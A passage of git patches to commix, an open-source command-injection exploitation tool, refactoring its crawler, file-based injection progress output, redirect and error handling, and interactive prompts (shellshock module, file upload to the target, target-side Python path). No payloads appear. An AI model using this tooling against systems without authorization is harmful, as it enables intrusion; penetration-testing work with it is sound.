the_type + check_parameter + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index cb5c35fc27..da715e3a0a 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -164,6 +164,28 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons return tmp_path + +def finalize(exit_loops, no_result, float_percent, injection_type, technique): + if exit_loops == False: + if settings.VERBOSITY_LEVEL == 0: + if str(float_percent) == "100.0": + if no_result == True: + percent = settings.FAIL_STATUS + else: + percent = ".. (" + str(float_percent) + "%)" + else: + percent = ".. (" + str(float_percent) + "%)" + + info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() + return True + else: + return True + else: + return False + + """ The "file-based" injection technique handler """ @@ -333,6 +355,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Use the "/tmp/" directory for tempfile-based technique. elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): + + if i == total: + if finalize(exit_loops, no_result, float_percent, injection_type, technique): + continue + else: + raise + tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." @@ -369,22 +398,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r continue else: - if exit_loops == False: - if settings.VERBOSITY_LEVEL == 0: - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - else: - percent = ".. (" + str(float_percent) + "%)" - - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - else: - continue + if finalize(exit_loops, no_result, float_percent, injection_type, technique): + continue else: raise diff --git a/src/core/main.py b/src/core/main.py index 2c43f320c0..c614f8811f 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -814,7 +814,6 @@ def main(filename, url): output_href = output_href + bulkfile output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] output_href = crawler.normalize_results(output_href) - filename = crawler.store_crawling() else: output_href = [] output_href = output_href + bulkfile @@ -824,7 +823,9 @@ def main(filename, url): [clean_output_href.append(x) for x in output_href if x not in clean_output_href] # Removing empty elements from list. clean_output_href = [x for x in clean_output_href if x] - if len(clean_output_href) != 0: + if len(output_href) >= 0: + if filename is not None: + filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) url_num = 0 @@ -832,9 +833,6 @@ def main(filename, url): if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: url_num += 1 print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - if filename is not None: - with open(filename, "a") as crawling_results: - crawling_results.write(url + "\n") if not menu.options.batch: question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 562b722a2a..2e5a5fa311 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -66,7 +66,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): else: while True: if not menu.options.batch and not settings.FOLLOW_REDIRECT: - if settings.CRAWLING and settings.CRAWLED_URLS == 0: + if settings.CRAWLED_URLS != 0: print(settings.SINGLE_WHITESPACE) question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" question_msg += "Do you want to follow the identified redirection? [Y/n] > " diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 9c8a46aa88..0617ebd2a7 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -105,7 +105,7 @@ def normalize_results(output_href): """ Store crawling results to a temporary file. """ -def store_crawling(): +def store_crawling(output_href): while True: if not menu.options.batch: question_msg = "Do you want to store crawling results to a temporary file " @@ -119,9 +119,12 @@ def store_crawling(): filename = tempfile.mkstemp(suffix=".txt")[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." print(settings.print_info_msg(info_msg)) - return str(filename) + with open(filename, "a") as crawling_results: + for url in output_href: + crawling_results.write(url + "\n") + return elif message in settings.CHOICE_NO: - return None + return elif message in settings.CHOICE_QUIT: raise SystemExit() else: diff --git a/src/utils/settings.py b/src/utils/settings.py index f7624a655c..de7e66914e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "57" +REVISION = "58" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From ddb72e397c028d400d06d5279608bc4fcda9cc0c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 May 2022 07:02:08 +0300 Subject: [PATCH 135/560] Additional fixes and updates regarding commit: https://github.com/commixproject/commix/commit/68e1410d87a666196baab6dfb996741fd7272f16 --- src/core/injections/controller/checks.py | 7 +- src/core/main.py | 18 +-- src/core/requests/headers.py | 15 +-- src/core/requests/redirection.py | 2 +- src/utils/crawler.py | 140 ++++++++++++----------- src/utils/settings.py | 2 +- 6 files changed, 100 insertions(+), 84 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0919627d4c..94c2de10e4 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -117,11 +117,10 @@ def connection_exceptions(err_msg, url): info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")." - if not isinstance(url, str): - _ = "" - else: + _ = "" + if isinstance(url, str): _ = " Skipping URL '" + str(url) + "'." - if settings.MULTI_TARGETS: + if settings.MULTI_TARGETS or settings.CRAWLING: error_msg = error_msg + _ print(settings.print_critical_msg(error_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 diff --git a/src/core/main.py b/src/core/main.py index c614f8811f..8e6faa281e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -761,14 +761,15 @@ def main(filename, url): if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() + # Check if option is "--url" for single url test. + if menu.options.sitemap_url: + url = menu.options.sitemap_url + else: + url = menu.options.url + if not menu.options.bulkfile and not settings.CRAWLING: if os_checks_num == 0: settings.INIT_TEST = True - # Check if option is "--url" for single url test. - if menu.options.sitemap_url: - url = menu.options.sitemap_url - else: - url = menu.options.url response, url = url_response(url) if response != False: filename = logs.logs_filename_creation(url) @@ -804,8 +805,8 @@ def main(filename, url): url_num = 1 if not menu.options.bulkfile: crawling_list = 1 - output_href = crawler.crawler(menu.options.url, url_num, crawling_list) - output_href.append(menu.options.url) + output_href = crawler.crawler(url, url_num, crawling_list) + output_href.append(url) else: crawling_list = len(bulkfile) for url in bulkfile: @@ -864,6 +865,9 @@ def main(filename, url): try: checks.user_aborted(filename, url) except NameError: + abort_msg = "User quit (Ctrl-C was pressed)." + print(settings.SINGLE_WHITESPACE) + print(settings.print_abort_msg(abort_msg)) raise SystemExit() except SystemExit: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 18ae47ec20..226248abab 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -171,7 +171,9 @@ def https_open(self, req): except _urllib.error.HTTPError as err_msg: if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) + if (settings.CRAWLING and settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0) or \ + not settings.CRAWLING: + print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: @@ -215,13 +217,12 @@ def https_open(self, req): print_http_response(err.info(), err.code, err.read()) if (not settings.PERFORM_CRACKING and \ - not settings.IS_JSON and \ - not settings.IS_XML and \ - not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ - not str(err.code) == settings.BAD_REQUEST and \ - not settings.CRAWLED_SKIPPED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0: + not settings.IS_JSON and \ + not settings.IS_XML and \ + not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ + not str(err.code) == settings.BAD_REQUEST and \ + not settings.CRAWLED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0: print(settings.SINGLE_WHITESPACE) - # error_msg = "Got " + str(err).replace(": "," (") # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): if settings.VERBOSITY_LEVEL >= 2: diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 2e5a5fa311..e3a5612766 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -66,7 +66,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): else: while True: if not menu.options.batch and not settings.FOLLOW_REDIRECT: - if settings.CRAWLED_URLS != 0: + if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0: print(settings.SINGLE_WHITESPACE) question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" question_msg += "Do you want to follow the identified redirection? [Y/n] > " diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 0617ebd2a7..81fd2a2d7c 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -34,6 +34,7 @@ crawled_hrefs = [] new_crawled_hrefs = [] + """ Change the crawling depth level. """ @@ -54,6 +55,7 @@ def set_crawling_depth(): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass + # Change the crawling depth level. if message in settings.CHOICE_YES: while True: @@ -61,10 +63,9 @@ def set_crawling_depth(): message = _input(settings.print_question_msg(question_msg)) if len(message) == 0: message = 1 - break else: menu.options.crawldepth = message - break + return """ @@ -90,8 +91,7 @@ def normalize_results(output_href): if '=' in key and key not in seen: results.append(target) seen.add(key) - if len(results) != 0: - return results + return results elif message in settings.CHOICE_NO: return output_href elif message in settings.CHOICE_QUIT: @@ -171,6 +171,7 @@ def sitemap(url): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass + no_usable_links(sitemap_loc) return sitemap_loc except: if not menu.options.crawldepth: @@ -212,13 +213,71 @@ def request(url): if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS += 1 - # if settings.DEFAULT_CRAWLING_DEPTH == 1: if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS: - print(settings.SINGLE_WHITESPACE) + if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0: + print(settings.SINGLE_WHITESPACE) checks.connection_exceptions(err_msg, url) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) +""" +Enable crawler. +""" +def enable_crawler(): + message = "" + if not settings.CRAWLING: + while True: + if not menu.options.batch: + question_msg = "Do you want to enable crawler? [y/N] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "N" + if message in settings.CHOICE_YES: + menu.options.crawldepth = 1 + break + if message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + set_crawling_depth() + +""" +Check for the existence of site's sitemap +""" +def check_sitemap(): + while True: + if not menu.options.batch: + question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " + question_msg += "the existence of site's sitemap(.xml)? [y/N] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "n" + if message in settings.CHOICE_YES: + settings.SITEMAP_CHECK = True + return + elif message in settings.CHOICE_NO: + settings.SITEMAP_CHECK = False + return + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + +def no_usable_links(crawled_hrefs): + if len(crawled_hrefs) == 0: + warn_msg = "No usable links found." + print(settings.print_warning_msg(warn_msg)) + raise SystemExit() """ The crawing process. @@ -254,19 +313,16 @@ def do_process(url): not re.search(r"(?i)\.(js|css)(\?|\Z)", href): identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) - if len(crawled_hrefs) != 0: - if identified_hrefs: - if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1: - return list(set(new_crawled_hrefs)) - return list(set(crawled_hrefs)) - return list("") - else: - warn_msg = "No usable links found." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() + no_usable_links(crawled_hrefs) + if identified_hrefs: + if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1: + return list(set(new_crawled_hrefs)) + return list(set(crawled_hrefs)) + return list("") + except Exception as e: # for non-HTML files and non-valid links pass - + """ The main crawler. @@ -279,57 +335,12 @@ def crawler(url, url_num, crawling_list): info_msg = "Starting crawler for target URL '" + url + "'" + _ print(settings.print_info_msg(info_msg)) response = request(url) - if settings.SITEMAP_CHECK: - message = "" - if not settings.CRAWLING: - while True: - if not menu.options.batch: - question_msg = "Do you want to enable crawler? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "N" - if message in settings.CHOICE_YES: - menu.options.crawldepth = 1 - break - if message in settings.CHOICE_NO: - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - set_crawling_depth() - + enable_crawler() if settings.SITEMAP_CHECK is None: - while True: - if not menu.options.batch: - question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " - question_msg += "the existence of site's sitemap(.xml)? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "n" - if message in settings.CHOICE_YES: - settings.SITEMAP_CHECK = True - break - elif message in settings.CHOICE_NO: - settings.SITEMAP_CHECK = False - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - + check_sitemap() if settings.SITEMAP_CHECK: output_href = sitemap(url) - if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): output_href = do_process(url) if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: @@ -359,6 +370,7 @@ def crawler(url, url_num, crawling_list): settings.DEFAULT_CRAWLING_DEPTH += 1 output_href = crawled_hrefs + no_usable_links(crawled_hrefs) return output_href # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index de7e66914e..2f587a5d43 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "58" +REVISION = "59" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 9b107187d66d65d78c320c17d37ceab62442293f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 May 2022 08:17:00 +0300 Subject: [PATCH 136/560] Additional fixes and updates regarding commit: https://github.com/commixproject/commix/commit/ddb72e397c028d400d06d5279608bc4fcda9cc0c --- src/core/injections/controller/checks.py | 185 +++++++---------------- src/core/main.py | 2 +- src/core/requests/headers.py | 32 ++-- src/core/requests/redirection.py | 4 +- src/utils/crawler.py | 45 ++++-- src/utils/settings.py | 6 +- 6 files changed, 112 insertions(+), 162 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 94c2de10e4..d4b075f8a1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -29,6 +29,7 @@ import traceback from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import simple_http_server from src.thirdparty.odict import OrderedDict @@ -97,7 +98,7 @@ def connection_exceptions(err_msg, url): warn_msg += "'--random-agent' switch and/or " warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) - if not settings.MULTI_TARGETS: + if not settings.MULTI_TARGETS and not settings.CRAWLING: raise SystemExit() elif "infinite loop" in str(error_msg): error_msg = "Infinite redirect loop detected. " @@ -122,7 +123,8 @@ def connection_exceptions(err_msg, url): _ = " Skipping URL '" + str(url) + "'." if settings.MULTI_TARGETS or settings.CRAWLING: error_msg = error_msg + _ - print(settings.print_critical_msg(error_msg)) + if len(_) != 0 or (not settings.MULTI_TARGETS and not settings.CRAWLING): + print(settings.print_critical_msg(error_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: time.sleep(settings.DELAY_RETRY) @@ -138,18 +140,13 @@ def not_declared_cookies(response): candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True - if settings.CRAWLED_SKIPPED_URLS != 0: + if settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "You have not declared cookie(s), while " - question_msg += "server wants to set its own ('" + str(candidate) + "'). " - question_msg += "Do you want to use those [Y/n] > " - set_cookies = _input(settings.print_question_msg(question_msg)).lower() - else: - set_cookies = "" - if len(set_cookies) == 0: - set_cookies = "Y" + message = "You have not declared cookie(s), while " + message += "server wants to set its own ('" + str(candidate) + "'). " + message += "Do you want to use those [Y/n] > " + set_cookies = common.read_input(message, default="Y", check_batch=True) if set_cookies in settings.CHOICE_YES: menu.options.cookie = candidate break @@ -212,13 +209,10 @@ def load_cmd_history(): # If the value has boundaries. def value_boundaries(value): - if not menu.options.batch: - question_msg = "It appears that the value '" + value + "' has boundaries. " - question_msg += "Do you want to inject inside? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: + message = "It appears that the value '" + value + "' has boundaries. " + message += "Do you want to inject inside? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: value = re.search(settings.VALUE_BOUNDARIES, value).group(1) elif procced_option in settings.CHOICE_NO: pass @@ -428,13 +422,8 @@ def check_injection_level(): """ def next_attack_vector(technique, go_back): while True: - if not menu.options.batch: - question_msg = "Continue with testing the " + technique + "? [Y/n] > " - next_attack_vector = _input(settings.print_question_msg(question_msg)) - else: - next_attack_vector = "" - if len(next_attack_vector) == 0: - next_attack_vector = "Y" + message = "Continue with testing the " + technique + "? [Y/n] > " + next_attack_vector = common.read_input(message, default="Y", check_batch=True) if next_attack_vector in settings.CHOICE_YES: # Check injection state assessment_phase() @@ -494,15 +483,10 @@ def check_os_shell_options(cmd, technique, go_back, no_result): """ def procced_with_file_based_technique(): while True: - if not menu.options.batch: - question_msg = "Due to the provided '--web-root' option," - question_msg += " do you want to procced with the (semi-blind) " - question_msg += "file-based injection technique? [Y/n] > " - enable_fb = _input(settings.print_question_msg(question_msg)) - else: - enable_fb = "" - if len(enable_fb) == 0: - enable_fb = "Y" + message = "Due to the provided '--web-root' option," + message += " do you want to procced with the (semi-blind) " + message += "file-based injection technique? [Y/n] > " + enable_fb = common.read_input(message, default="Y", check_batch=True) if enable_fb in settings.CHOICE_YES: return True elif enable_fb in settings.CHOICE_NO: @@ -563,14 +547,9 @@ def continue_tests(err): try: while True: - if not menu.options.batch: - question_msg = "Do you want to ignore the error (" + str(err.code) - question_msg += ") message and continue the tests? [Y/n] > " - continue_tests = _input(settings.print_question_msg(question_msg)) - else: - continue_tests = "" - if len(continue_tests) == 0: - continue_tests = "Y" + message = "Do you want to ignore the error (" + str(err.code) + message += ") message and continue the tests? [Y/n] > " + continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: return True elif continue_tests in settings.CHOICE_NO: @@ -636,14 +615,9 @@ def ps_check(): warn_msg += "have chosen, are requiring the use of PowerShell. " print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to use the \"--ps-version\" option " - question_msg += "so ensure that PowerShell is enabled? [Y/n] > " - ps_check = _input(settings.print_question_msg(question_msg)) - else: - ps_check = "" - if len(ps_check) == 0: - ps_check = "Y" + message = "Do you want to use the \"--ps-version\" option " + message += "so ensure that PowerShell is enabled? [Y/n] > " + ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: menu.options.ps_version = True break @@ -662,14 +636,9 @@ def ps_check(): """ def ps_check_failed(): while True: - if not menu.options.batch: - question_msg = "Do you want to ignore the above warning " - question_msg += "and continue the procedure? [Y/n] > " - ps_check = _input(settings.print_question_msg(question_msg)) - else: - ps_check = "" - if len(ps_check) == 0: - ps_check = "Y" + message = "Do you want to ignore the above warning " + message += "and continue the procedure? [Y/n] > " + ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: break elif ps_check in settings.CHOICE_NO: @@ -709,13 +678,8 @@ def check_CGI_scripts(url): warn_msg += "vulnerable to shellshock. " print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to enable the shellshock injection module? [Y/n] > " - shellshock_check = _input(settings.print_question_msg(question_msg)) - else: - shellshock_check = "" - if len(shellshock_check) == 0: - shellshock_check = "Y" + message = "Do you want to enable the shellshock injection module? [Y/n] > " + shellshock_check = common.read_input(message, default="Y", check_batch=True) if shellshock_check in settings.CHOICE_YES: menu.options.shellshock = True break @@ -779,16 +743,11 @@ def user_defined_os(): is different than the one identified by heuristics. """ def identified_os(): - if not menu.options.batch: - warn_msg = "Heuristics have identified different operating system (" - warn_msg += settings.TARGET_OS + ") than that you have provided." - print(settings.print_warning_msg(warn_msg)) - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + warn_msg = "Heuristics have identified different operating system (" + warn_msg += settings.TARGET_OS + ") than that you have provided." + print(settings.print_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": return False @@ -862,17 +821,12 @@ def http_auth_err_msg(): is different than the one identified by heuristics. """ def identified_http_auth_type(auth_type): - if not menu.options.batch: - warn_msg = "Heuristics have identified different HTTP authentication type (" - warn_msg += auth_type.lower() + ") than that you have provided (" - warn_msg += menu.options.auth_type + ")." - print(settings.print_warning_msg(warn_msg)) - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + warn_msg = "Heuristics have identified different HTTP authentication type (" + warn_msg += auth_type.lower() + ") than that you have provided (" + warn_msg += menu.options.auth_type + ")." + print(settings.print_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": return False @@ -1499,16 +1453,9 @@ def is_XML_check(parameter): def process_xml_data(): while True: info_msg = "SOAP/XML data found in POST data." - if not menu.options.batch: - question_msg = info_msg - question_msg += " Do you want to process it? [Y/n] > " - xml_process = _input(settings.print_question_msg(question_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.print_bold_info_msg(info_msg)) - xml_process = "" - if len(xml_process) == 0: - xml_process = "Y" + message = info_msg + message += " Do you want to process it? [Y/n] > " + xml_process = common.read_input(message, default="Y", check_batch=True) if xml_process in settings.CHOICE_YES: settings.IS_XML = True break @@ -1549,16 +1496,9 @@ def is_JSON_check(parameter): def process_json_data(): while True: info_msg = "JSON data found in POST data." - if not menu.options.batch: - question_msg = info_msg - question_msg += " Do you want to process it? [Y/n] > " - json_process = _input(settings.print_question_msg(question_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.print_bold_info_msg(info_msg)) - json_process = "" - if len(json_process) == 0: - json_process = "Y" + message = info_msg + message += " Do you want to process it? [Y/n] > " + json_process = common.read_input(message, default="Y", check_batch=True) if json_process in settings.CHOICE_YES: settings.IS_JSON = True break @@ -1633,15 +1573,9 @@ def file_upload(): menu.options.file_dest = menu.options.file_dest + "/" # Check if not defined URL for upload. while True: - if not menu.options.batch: - question_msg = "Do you want to enable an HTTP server? [Y/n] > " - enable_HTTP_server = _input(settings.print_question_msg(question_msg)) - else: - enable_HTTP_server = "" - if len(enable_HTTP_server) == 0: - enable_HTTP_server = "Y" + message = "Do you want to enable an HTTP server? [Y/n] > " + enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) if enable_HTTP_server in settings.CHOICE_YES: - # Check if file exists if not os.path.isfile(menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exist." @@ -1651,8 +1585,8 @@ def file_upload(): # Setting the local HTTP server. if settings.LOCAL_HTTP_IP == None: while True: - question_msg = "Please enter your interface IP address > " - ip_addr = _input(settings.print_question_msg(question_msg)) + message = "Please enter your interface IP address > " + ip_addr = common.read_input(message, default=None, check_batch=True) # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4(ip_addr) if ip_check == False: @@ -1718,20 +1652,15 @@ def check_wrong_flags(): def define_py_working_dir(): if settings.TARGET_OS == "win" and menu.options.alter_shell: while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python working directory on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = "Y" + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as Python working directory on the target host? [Y/n] > " + python_dir = common.read_input(message, default="Y" , check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a custom working directory for Python (e.g. '" - question_msg += settings.WIN_PYTHON_INTERPRETER + "') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) + message = "Please provide a custom working directory for Python (e.g. '" + message += settings.WIN_PYTHON_INTERPRETER + "') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) break else: err_msg = "'" + python_dir + "' is not a valid answer." diff --git a/src/core/main.py b/src/core/main.py index 8e6faa281e..f0709d3eac 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -810,7 +810,7 @@ def main(filename, url): else: crawling_list = len(bulkfile) for url in bulkfile: - output_href = (crawler.crawler(url, url_num, crawling_list)) + output_href += (crawler.crawler(url, url_num, crawling_list)) url_num += 1 output_href = output_href + bulkfile output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 226248abab..81ab7d39e2 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -169,19 +169,6 @@ def https_open(self, req): if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) - except _urllib.error.HTTPError as err_msg: - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: - if (settings.CRAWLING and settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0) or \ - not settings.CRAWLING: - print(settings.SINGLE_WHITESPACE) - if settings.UNAUTHORIZED_ERROR in str(err_msg): - settings.UNAUTHORIZED = unauthorized = True - if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: - break - - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: - pass - except ValueError as err: if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) @@ -191,7 +178,24 @@ def https_open(self, req): except AttributeError: raise SystemExit() + + except _urllib.error.HTTPError as err_msg: + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: + if (settings.CRAWLING and settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0) or \ + not settings.CRAWLING: + print(settings.SINGLE_WHITESPACE) + if settings.UNAUTHORIZED_ERROR in str(err_msg): + settings.UNAUTHORIZED = unauthorized = True + if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: + break + except (SocketError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + if not settings.MULTI_TARGETS and not settings.CRAWLING: + pass + else: + checks.connection_exceptions(err_msg, url=request) + break + try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) code = 